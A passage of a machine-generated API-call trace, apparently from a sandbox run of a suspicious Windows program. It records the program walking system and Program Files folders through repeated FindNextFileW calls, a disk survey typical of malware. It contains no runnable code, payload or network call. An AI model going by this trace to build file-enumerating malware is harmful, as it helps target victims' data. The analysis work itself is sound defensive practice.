ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0 [0190.237] FindClose (in: hFindFile=0x41210c8 | out: hFindFile=0x41210c8) returned 1 [0190.237] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0190.239] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0190.240] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 1 [0190.240] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0 [0190.240] FindClose (in: hFindFile=0x4121208 | out: hFindFile=0x4121208) returned 1 [0190.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0190.240] FindNextFileW (in: hFindFile=0x4121608, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0 [0190.240] FindClose (in: hFindFile=0x4121608 | out: hFindFile=0x4121608) returned 1 [0190.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff47f8 | out: hHeap=0x420000) returned 1 [0190.241] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0190.241] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 1 [0190.241] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 0 [0190.241] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0190.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe47f0 | out: hHeap=0x420000) returned 1 [0190.241] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0 [0190.241] FindClose (in: hFindFile=0x484398 | out: hFindFile=0x484398) returned 1 [0190.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0190.242] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0190.243] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0190.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource", cAlternateFileName="")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0 [0190.243] FindClose (in: hFindFile=0x484358 | out: hFindFile=0x484358) returned 1 [0190.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c5e2b0, ftCreationTime.dwHighDateTime=0x1d58abe, ftLastAccessTime.dwLowDateTime=0x8472dd70, ftLastAccessTime.dwHighDateTime=0x1d5b1cd, ftLastWriteTime.dwLowDateTime=0x8472dd70, ftLastWriteTime.dwHighDateTime=0x1d5b1cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contains roles was.exe", cAlternateFileName="CONTAI~1.EXE")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e575d0, ftCreationTime.dwHighDateTime=0x1d55afb, ftLastAccessTime.dwLowDateTime=0xe2499ca0, ftLastAccessTime.dwHighDateTime=0x1d55f38, ftLastWriteTime.dwLowDateTime=0xe2499ca0, ftLastWriteTime.dwHighDateTime=0x1d55f38, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e575d0, ftCreationTime.dwHighDateTime=0x1d55afb, ftLastAccessTime.dwLowDateTime=0xe2499ca0, ftLastAccessTime.dwHighDateTime=0x1d55f38, ftLastWriteTime.dwLowDateTime=0xe2499ca0, ftLastWriteTime.dwHighDateTime=0x1d55f38, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 0 [0190.243] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0190.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b06418c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b06418c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x3c8a30fc, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8a30fc, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Google", cAlternateFileName="")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c961c35, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c961c35, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c8ef553, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8ef553, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c987fe8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c987fe8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3aff1b6b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3aff1b6b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3c9fa545, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9fa545, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3ca207c9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca207c9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b0d68fa, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b0d68fa, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3ca46a80, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca46a80, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0190.244] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b017c8a, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b017c8a, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0190.245] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c9157b4, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9157b4, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0190.245] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b08a3e1, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b08a3e1, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0190.245] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b0fca03, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b0fca03, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0190.245] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c9ae2af, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9ae2af, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0190.245] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c9ae2af, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9ae2af, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0190.245] FindClose (in: hFindFile=0x4840d8 | out: hFindFile=0x4840d8) returned 1 [0190.245] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0190.246] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0190.246] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0190.246] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x521d6f41, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0190.246] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0190.247] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: 